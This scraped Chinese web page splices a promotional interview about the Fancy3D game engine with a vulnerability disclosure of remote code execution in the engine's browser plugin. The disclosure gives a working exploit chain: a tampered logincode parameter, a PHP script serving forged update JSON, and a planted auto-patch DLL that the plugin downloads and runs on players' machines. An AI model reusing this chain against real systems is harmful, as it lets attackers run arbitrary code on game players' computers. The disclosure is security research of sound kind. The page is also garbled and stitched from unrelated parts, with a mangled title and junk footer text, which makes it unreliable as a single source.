如何拿下几十万热门页游游戏玩家鄙视链的电脑(Fancy3D

00010000雷强赞软文悲剧愤怒搞笑无聊期待
我就是玩家
美女卖萌逋
265G推荐游戏> Fancy3D引擎负责人:如何制作一款顶级画质与特效的手游
Fancy3D引擎负责人:如何制作一款顶级画质与特效的手游
对于大多数玩家来说,特效和画面表现力决定了一款游戏的第一印象,而以引擎为代表的技术则在背后发挥着举足轻重的作用;对于开发者来说,一款好的引擎也极为重要,这能够帮助他们快速、高效地生成一款高水准游戏。在Frostbite Engine(寒霜引擎)、Unity3D、Unreal等国外引擎迅速扩张的同时,以Fancy3D为代表的国产引擎也针对国内游戏市场不断优化,保障了游戏开发的高效与高品质。
Fancy3D引擎全球总裁刘侠
日前,由游族网络携手青果灵动推出的Fancy3D手游首作《狂暴之翼》公测首日注册即破百万,堪称人气爆棚,游戏3D电影般的视觉体验颇受关注。如何制作一款顶级画质与特效的手游,记者专访了Fancy3D引擎全球总裁刘侠为你解开疑问。
低门槛轻工具跨平台高效率 满足高品质开发需求
记者:我们从官网上了解到,Fancy3D是国内首个自主知识产权的3D引擎。最初选择自己做3D引擎是出于什么样的考虑,因为一般来说很多厂商会直接使用现有的引擎进行开发?
刘侠:做Fancy3D引擎,最初的动力来自于解决自己在游戏开发中遇到的各种问题。我们在熟悉了Unity,Flash等各种技术平台后,发现这些平台并不能满足创建一款高品质游戏的需求。特别对于创业者来说,对技术平台的要求有三点:一是易学易上手,把学习成本降下来;二是开发效率高,能尽可能缩短研发周期;三是要完美支持各种游戏效果的表达,满足开发高品质产品的需要。基于此,我们萌生了自己做一款引擎的想法。
记者:开发者在游戏特别是3D游戏开发过程中主要会碰到哪些问题,Fancy3D引擎又会在哪些层面来帮助这些开发者呢?
刘侠:开发者可能会在引擎某些接口的使用层面上遇到一些问题,或者没有遵守一些约定的开发规范。Fancy3D引擎会免费提供各种开发文档、技术案例和技术培训,同时有技术人员在线实时为遇到问题的开发者解答问题,还接受开发团队来总部做技术交流,解决问题。
国内首个自主知识产权的Fancy3D引擎
记者:目前国内外也有很多不错的游戏引擎,Fancy3D引擎有哪些特色,相比必其他引擎的优势在哪里?
刘侠:Fancy3D引擎有五大特色:1、全平台覆盖,覆盖了从windows页游、微端,到手游的Android和iOS平台,甚至是Mac、Linux,原生支持跨平台,一次开发多端发布;2、黑盒化,开发者可以直接使用引擎提供的功能;3、配件化,整个引擎是基于脚本驱动的,引擎所有的功能模块都是把接口注册给脚本层,然后由脚本层来实现具体的功能,另外提供一套统一的接口,提供给第三方SDK。4、工具可定制,编辑器本身就是用引擎开发的,遇到觉得用不顺手的功能,可以很方便的修改完善;5、最重要的一点就是提供定制化的技术服务,有个手游项目在使用引擎的时候,想实现一个武器高光流光的效果,向我们提出了支持请求,经评估后,引擎花了很短的时间就为项目组提供了解决方案。
四大优势:1、低门槛:易学上手,只需具备基础数学知识的程序员即可开发3D游戏;2、轻工具:使用任何文本编辑器即可开工,无须提前学习繁杂开发工具;3、跨平台:Fancy3D引擎现在可以全面满足游戏开发者创建高质量3D游戏的需要,真正做到一次开发,多平台发布;4、高效率:类似《黑暗之光》的大型3D游戏,仅仅只用了6个程序员 。
从页游到手游特别优化提升手机端流畅度
记者:Fancy3D引擎在过往有一些很成功的产品,给我们简单介绍一下?
刘侠:2010年,第一款3D页游《天纪》上线,同时也是国内第一款真3D页游。2013年,《仙纪》上线。2014年,Fancy3D的又一力作《黑暗之光》正式上线,连续5个月流水上亿元,上线5个月来总流水超6亿元,创造了全新的玩法,达到中国页游领域的新高度。2015年,《大战神》、《我是大主宰》正式上线。
记者:我们了解到《狂暴之翼》除了使用Fancy3D引擎之外,也是国内首个全面应用苹果Metal技术的产品,苹果的这个技术如何与Fancy3D引擎一起来帮助提升游戏?
刘侠:配合苹果Metal技术,适配多种机型,采用了高光法线贴图、实时阴影、天气拟真、特效扭曲、物理和粒子运算等技术,使得它和同类型产品相比效率提升了50%以上,为玩家带来华丽流畅的3D视觉盛宴。
Fancy3D引擎手游首作《狂暴之翼》
记者:Fancy3D引擎有没有针对手游开发做特别的优化,引擎的适配性如何?
刘侠:我们在光照系统、摄像机系统以及粒子特效等方面都做了特别的优化,极大地提高了引擎渲染的效率,提升了手机端游戏的流畅度。关于适配性上,硬件适配支持目前市面上的主流Android设备和所有的iOS设备。支持各类设备的不同分辨率。网络适配:支持2G,3G,4G,Wi-Fi。支持IPv4,IPv6网络协议。
Fancy3D手游首作想将《狂暴之翼》打造出世界级品质
记者:Fancy3D引擎在3D页游上有很多成功的产品,对于Fancy3D的手游首作《狂暴之翼》有什么样期待?
刘侠:在《狂暴之翼》的整个研发过程中,美术就被推翻重做了3次。团队经过四百多个日夜,目标就是想做3D炫战ARPG这个品类中的标杆性产品,想打造出一款世界级品质的手机游戏。
记者:从《狂暴之翼》上看,Fancy3D引擎在手游主打画面和特效,后续还会针对手游开发对引擎做哪些调整,特别是针对《狂暴之翼》会有哪些提升的计划?
刘侠:我们会在静态物体的合并渲染、动态物体的合并渲染、遮挡剔除以及特效粒子发射等方面继续提高引擎的渲染效率,进一步改提供光照系统和物理系统的计算效率。
{{news.author}}
{{news.timeFormat}}
正在加载......推 荐 游 戏
您当前的位置:如何拿下几十万热门页游玩家的电脑(Fancy3D游戏引擎远程代码执行漏洞)
如何拿下几十万热门页游玩家的电脑(Fancy3D游戏引擎远程代码执行漏洞)
远程代码执行
厂商已经确认
北京青果灵动科技有限公司自主研发的3D网页游戏引擎Fancy3D。测试中发现有参数可任意控制 最终实现远程命令执行。以下是分析过程:
先来看看游戏加载页面 这里选了一款苏州争渡科技有限公司开发游戏 三国武神
为保持卷面整洁,代码有删减
游戏主页面:http://s18.37wan.sgws.ate.cn/tapi/v1/otplat/login?platform=xxxxxx
&script src=&http://s18.37wan.sgws.ate.cn/proxy/getvjs/x52/18&&&/script&//加载后期配置
&script src=&http://res.ly.sgws.g.1360.com/static/52xiyou/js/logic1.2.js&&&/script&//Fancy3D插件启动脚本
this.logincode = (function(){
var box = 'no';
if(_self.platform == 'xunlei'){
try { window.external.GetClientInfo(); box = 'xunlei';} catch(e) { box = 'no'; }
return 'foaparam=lordcrab:\/\/sn=18服\x26sa=s18.37wan.sgws.ate.cn:3018\x26tl=\x26un=p37_18_xutianle2\x26cc=某个md5\x26nc=p37_18_xutianle2\x26dx=\x26ndx=\x26cv=test3\/\x26api=http:\/\/s18.37wan.sgws.ate.cn\/proxy\/getv\/x52\/18\x26xcn=test\x26xcv=3&xdt=' + box + '# http:\/\/s18.37wan.sgws.ate.cn\/proxy\/getv\/x52\/18 a 3 test 1';
}()); //logincode生成 下面会说到
先看看http://s18.37wan.sgws.ate.cn/proxy/getvjs/x52/18
window.gameversion=&1400301&;window.TangRen_AutoPatch=&http://res.ly.sgws.g.1360.com/updateot/TangRen-AutoPatch5.18.zip&;window.fancydownurlx64=&http://res.ly.sgws.g.1360.com/static/fancy/down64.dll&;window.fancyentryurl=&http://res.ly.sgws.g.1360.com/static/fancy/SangoWebEntry.exe&;window.clientversion=&1.0&;window.versions=&1400229&;window.fancydownurlx86=&http://res.ly.sgws.g.1360.com/static/fancy/down.dll&;window.entrymd5=&8cbed30a7a4c5b1ac428&;window.mfc=&http://res.ly.sgws.g.1360.com/updateot/mfc.zip&;window.TangRenPluginSetUp=&http://res.ly.sgws.g.1360.com/updateot/TangRenPluginSetUp1.4.zip&;window.fancymd5x64=&dd6ffd1aedc204efec3a722ec670f176&;window.fancymd5x86=&aa401a6cb0f54576eba479&;window.version=&1.0&;
这里面定义了一些初始化的配置 方便解说下面称这段配置为“配置一”
然后来看启动插件的部分logic1.2.js
....以上省略....
//-------------------------------------------
//启动青果插件
function load_fancy_html_obj(){
var attr = _E.browser == 'ie'?'classid=&clsid:b2e8d85e-c0c5-48df-8dbc-&' : 'type=&application/fancy-npruntime-fancy3d-plugin&';
var liburl = window.fancydownurlx86;
var libmd5 = window.fancymd5x86;
if(_E.browser == 'ie' && _E.platform == 'x64'){
liburl = window.fancydownurlx64;
libmd5 = window.fancymd5x64;
var tr_pick_url
= 'http://'+_G.pickurl+'/pick/multiinfo',
tr_createTokenUrl
= 'http://'+_G.apiHost+'/createtoken?token=' + _G.tr_token,
tr_createTokenKey
= 'none',
tr_createTokenName
= 'none';
var param1 = _G.username + ' ' + tr_pick_url + ' ' + tr_createTokenUrl + ' ' + tr_createTokenKey + ' '+ tr_createTokenName + ' ' + _G.
var html = '&object id=&fancy3d_object& ' + attr + '&'+
'&param name=&game& value=&ZDSGGame& /&'+
'&param name=&nprver& value=&0.0.2.17& /&'+
'&param name=&ocxver& value=&0.0.2.17& /&'+
'&param name=&liburl& value=&' + liburl + '& /&'+
'&param name=&libmd5& value=&' + libmd5 + '& /&'+
'&param name=&unsafelib& value=&allow& /&'+
'&param name=&param1& value=&exeparam=40 ' + param1 + '& /&'+
'&param name=&exename& value=&SangoWebEntry.exe& /&'+
'&param name=&exeurl& value=&' + window.fancyentryurl + '& /&'+
'&param name=&exemd5& value=&' + window.entrymd5 + '& /&'+
'&/object&';
$(&#fancy3d_divbox&).html(html);
....以下省略....
其中的重要变量(意思是如果这个变量有问题,插件就不会启动或者无法执行下去)有
attr 根据浏览器选择插件加载方式
liburl 插件启动后首先下载的文件 来自配置一的window.fancydownurlx86
libmd5 顾名思义 上面一个文件的MD5 来自配置一的window.fancymd5x86
exeurl 游戏主程序的地址 来自配置一window.fancyentryurl
exemd5 游戏主程序md5 来自配置一的window.entrymd5
param1 普通参数传递 这里面比较重要的是_G.logincode 来源在上面
下面说说观察到的流程:
1、点开网页后,首先加载fancy3d插件
2、插件启动后,在C:\Users\用户\fancy\下创建目录ZDSGGame
3、插件下载liburl(down.dll)并加载
4、插件下载游戏主程序SangoWebEntry.exe并启动
5、SangoWebEntry.exe请求logincode中的api获取版本号
6、SangoWebEntry.exe请求http://s18.37wan.sgws.ate.cn/proxy/getv/x52/18(来源logincode) 内容如下:
{&gameversion&: &1400301&, &TangRen_AutoPatch&: &http://res.ly.sgws.g.1360.com/updateot/TangRen-AutoPatch5.18.zip&, &fancydownurlx64&: &http://res.ly.sgws.g.1360.com/static/fancy/down64.dll&, &fancyentryurl&: &http://res.ly.sgws.g.1360.com/static/fancy/SangoWebEntry.exe&, &clientversion&: &1.0&, &versions&: &1400229&, &fancydownurlx86&: &http://res.ly.sgws.g.1360.com/static/fancy/down.dll&, &entrymd5&: &8cbed30a7a4c5b1ac428&, &mfc&: &http://res.ly.sgws.g.1360.com/updateot/mfc.zip&, &TangRenPluginSetUp&: &http://res.ly.sgws.g.1360.com/updateot/TangRenPluginSetUp1.4.zip&, &fancymd5x64&: &dd6ffd1aedc204efec3a722ec670f176&, &fancymd5x86&: &aa401a6cb0f54576eba479&, &version&: &1.0&}
7、SangoWebEntry.exe从上一步请求结果中取出TangRen_AutoPatch地址并下载解压到client目录
8、SangoWebEntry.exe从client目录解压TangRen-AutoPatch5.18.zip并载入TangRen-AutoPatch.dll开始自动更新
9、自动更新完毕 进入游戏
从以上流程可以看到 如果3 4 6 这几步的内容可被任意控制 那就可以下载并执行任意的exe或者dll了
实际测试发现3(liburl) 4(exeurl)这两个参数只要一改域名 插件就不运行,应该是做了检查了
第6步的下载地址来自http://s18.37wan.sgws.ate.cn/proxy/getv/x52/18
http://s18.37wan.sgws.ate.cn/proxy/getv/x52/18来自logincode
logincode可控 而且按照格式修改的话 插件可以正确读取加载 于是搭建测试环境如下
首先写一个TangRen-AutoPatch.dll 如图
poc而已 求不吐槽
然后打包成TangRen-AutoPatch5.18.zip放到web目录下
然后新建一个php文件
if($_GET['type'] == 'gameversion'){ //流程第5步请求的api 图方便我也改成这里了
die('9;);
echo '{&gameversion&: &1400303&, &TangRen_AutoPatch&: &http://localhost/updateot/TangRen-AutoPatch5.18.zip&, &fancydownurlx64&: &http://localhost/static/fancy/down64.dll&, &fancyentryurl&: &http://localhost/static/fancy/SangoWebEntry.exe&, &clientversion&: &1.1&, &versions&: &1400303&, &fancydownurlx86&: &http://localhost/static/fancy/down.dll&, &entrymd5&: &9cbed30a7a4c5b1ac428&, &mfc&: &http://localhost/updateot/mfc.zip&, &TangRenPluginSetUp&: &http://localhost/TangRenPluginSetUp1.4.zip&, &fancymd5x64&: &dd6efd1aedc204efec3a722ec670f176&, &fancymd5x86&: &ba401a6cb0f54576eba479&, &version&: &1.0&}';
其中最主要的是这段
&TangRen_AutoPatch&: &http://localhost/TangRen-AutoPatch5.18.zip&
然后修改一下游戏主页面 浏览器打开,然后什么都没有发生。。。
继续查看插件log发现TangRen_AutoPatch只会在游戏第一次安装的时候被下载和执行(或者版本更新?这里没研究下去)
需要游戏第一次加载 我们就再来看看游戏第一次加载的流程 其中第二步
2、插件启动后,在C:\Users\用户\fancy\下创建目录ZDSGGame
这个ZDSGGame是不是很眼熟 在游戏加载插件的时候 有个game参数的值就是这个
var html = '&object id=&fancy3d_object& ' + attr + '&'+
'&param name=&game& value=&ZDSGGame& /&'+
抱着试试看的态度 把这里的ZDSGGame改成了ZDSGGame1,重新用浏览器打开,等了大概5秒 刷的一下就弹出了熟悉的计算器
查看C:\Users\用户\fancy\ 果然生成了ZDSGGame1目录
市面上好多热门游戏包括暗黑之光 佛本是道 等等等等都在用这款插件 虽然具体流程略有不同,但是他们是共享的同一个网页插件
classid:b2e8d85e-c0c5-48df-8dbc-
所以只要玩过任何一款这个插件的游戏,就可以被攻击,当然也包括安装了这个插件的开发者,标题不算夸大吧。
漏洞证明:
由于插件是跨浏览器的,所以测试firefox ie 360浏览器极速模式(兼容模式)都可以成功运行
修复方案:
检查做全套,细节最重要
版权声明:转载请注明来源 @
快来写下你的想法吧!
文章数:38565
(C) 安全脉搏}

我要回帖

更多关于 世界十大游戏玩家 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信